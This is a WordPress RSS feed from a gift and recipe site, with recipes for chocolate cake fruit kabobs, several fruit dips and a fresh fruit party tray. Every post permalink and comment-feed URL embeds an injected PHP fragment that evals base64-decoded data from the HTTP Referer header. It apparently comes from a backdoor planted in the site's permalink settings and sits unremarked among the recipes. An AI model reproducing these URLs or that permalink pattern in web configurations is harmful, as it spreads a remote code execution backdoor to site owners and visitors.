Gift Ideas, Gift Wrap, Recipes and More » Fruit Tray Ideas http://www.giftwrapandmore.com Sharing great gift ideas, sharing unique premium gift wrap, sharing hundreds of free recipes, and much more! Sun, 13 Dec 2009 06:34:22 +0000 en hourly 1 http://wordpress.org/?v=3.0 Chocolate Cake and Fruit Kabobs http://www.giftwrapandmore.com/2007/06/13/chocolate-cake-and-fruit-kabobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.giftwrapandmore.com/2007/06/13/chocolate-cake-and-fruit-kabobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 13 Jun 2007 22:44:35 +0000 Cindy http://www.giftwrapandmore.com/2007/06/13/chocolate-cake-and-fruit-kabobs/ I went to a wedding recently and they served these little chocolate covered cakes, banana and strawberry kabobs that were delicious. These dainty little kabobs are so cute and sweet. The are the perfect addition desert to add a little bit of sophistication to any party. If you are planning a wedding, reception, or party this is a perfect recipe to use. You guest will be delighted. The kabobs that I had where made with pound cake and each kabob alternated between strawberry and banana pieces, but you can use any bite size fruit of your choice.

Chocolate Cake and Fruit Kabobs

Ingredients:

  • Kabob sticks
  • 12-oz. pkg. Semi-Sweet Chocolate Morsels
  • 2 tablespoons vegetable shortening
  • 24 bite-size pieces pound cake
  • 24 bite-size pieces fresh fruit or berries, (pineapple, banana, melon, strawberries)
  • Strawberry Sauce
  • 1 can (10-oz.) frozen strawberries in syrup, thawed
  • 3 tablespoons or more sugar

Directions:

FOR KABOBS
LINE a baking sheet with waxed paper. MICROWAVE morsels and vegetable shortening in a medium, microwave-safe bowl on HIGH for 1 minute and stir. Microwave an additional 10- to 20-seconds, stirring until smooth. Dip cake pieces into chocolate mixture; shake off excess. Place on prepared baking sheet then drizzle tops with additional chocolate. Refrigerate until set. On skewers, alternately thread chocolate coated pieces of cake with pieces of fruit; refrigerate. Serve with Strawberry Sauce.

FOR STRAWBERRY SAUCE:
PUREE strawberries and sugar in blender until smooth.

]]> http://www.giftwrapandmore.com/2007/06/13/chocolate-cake-and-fruit-kabobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Easy Low Fat Dip http://www.giftwrapandmore.com/2007/06/12/easy-low-fat-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.giftwrapandmore.com/2007/06/12/easy-low-fat-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 13 Jun 2007 02:05:41 +0000 Cindy http://www.giftwrapandmore.com/2007/06/12/easy-low-fat-dip/ This is a delicious low calorie dip that everyone will love. This is unique dip that can be served on any party menu. This dip is great to serve with a vegetable tray, fruit tray, or with crackers.

  • 3 cups low-fat cottage cheese
  • 3 tablespoons lemon juice
  • 1 teaspoon dill weed
  • 1/4 teaspoon turmeric
  • 1/4 teaspoon paprika
  • 1/4 teaspoon black pepper
  • Salt to taste

In a blender or food processor, blend all ingredients until smooth.

Salt to taste.

Transfer to a serving bowl and garnish with extra paprika and dill weed, if desired. Chill before serving.

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  • 1 jar marshmallow creme, 7 oz.
  • 1 cream cheese, 1 – 8 oz. pkg.
  • 2 T. frozen orange juice concentrate, thawed

    • Whip all ingredients until smooth.  Refrigerate until ready to serve.  Serve with your Fruit Tray.

    ]]>     http://www.giftwrapandmore.com/2007/01/17/orange-cream-delight-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 2     Honey Lemon Raspberry Dip http://www.giftwrapandmore.com/2007/01/17/honey-lemon-raspberry-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.giftwrapandmore.com/2007/01/17/honey-lemon-raspberry-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 18 Jan 2007 05:08:20 +0000 Cindy http://www.giftwrapandmore.com/2007/01/17/honey-lemon-raspberry-dip/ Lite Sour Cream, 16 oz.
  • 1/3 cup seedless red or black raspberry jam
  • 1 T. honey
  • 1 tsp. lemon juice

    • Mix all ingredients, blend until smooth, refrigerate until chilled.  Then serve with your fresh fruit party tray.

    ]]>     http://www.giftwrapandmore.com/2007/01/17/honey-lemon-raspberry-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1     Banana Orange Dip http://www.giftwrapandmore.com/2007/01/17/banana-orange-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.giftwrapandmore.com/2007/01/17/banana-orange-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 18 Jan 2007 05:05:57 +0000 Cindy http://www.giftwrapandmore.com/2007/01/17/banana-orange-dip/ Ingredients:

  • 2 large bananas, peeled, cut into chunks
  • 1/2 cup non-fat plain or banana yogurt
  • 2 oranges, peeled and sectioned

    • Combind all ingredients and blend until smooth.  Let refrigerate until chilled.  Then Serve.

    ]]>     http://www.giftwrapandmore.com/2007/01/17/banana-orange-dip/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 2     Fresh Fruit Party Tray http://www.giftwrapandmore.com/2006/12/11/fresh-fruit-party-tray/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.giftwrapandmore.com/2006/12/11/fresh-fruit-party-tray/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 11 Dec 2006 06:15:21 +0000 Cindy http://www.giftwrapandmore.com/2006/12/11/fresh-fruit-party-tray/

    Don’t you just love the way this beautiful fruit party tray looks. We all know how important the presentation of the food is at any party. If it looks good, it taste good. This party tray is something that you can easily make for a fraction of what it would normally cost you to purchase.

    Items you will need:

    • 1 2lbs of grapes

    • 1 pineapple

    • 1 quart of strawberries

    • 1 cantaloupe

    • 1/4 of a watermelon

    • 1 package of chocolate dip

    • 1 package of cup cake wraps (any color will work, if you have are having a theme party make sure and match the color to your theme)

    • 1 lb of cheddar cheese

    • 1 8oz package of vanilla yogurt

    • 1 party tray with dip bowl

    Preparation:

    First prepare your chocolate dip per the instructions, dip twelve strawberries half way into the chocolate dip and place on the cup cake wrappers. Place these in the refrigerator to chill.

    Next wash, cut and prepare all fruit and cheese. You will want these to be just a little smaller than a 1 inch square. Start by placing the cheese on one side of the party tray forming a triangle then make a divider wall with the three strawberries continue with placing your items in the same pattern. You will place your items in the following order cantaloupe, three strawberries, grapes, three strawberries, watermelon, three strawberries, pineapple, three strawberries and finally the last of your grapes. Then you will want to fill your dip bowl with vanilla yogurt. Cover and refrigerate until your ready to use.

    For more fruit tray ideas, make sure and check out out fruit tray dips. Currently there is the Banana Orange Dip, Orange Cream Delight Dip and the Honey Lemon Raspberry Dip

    You may also want to check out the recipe for the Vegetable Party Tray

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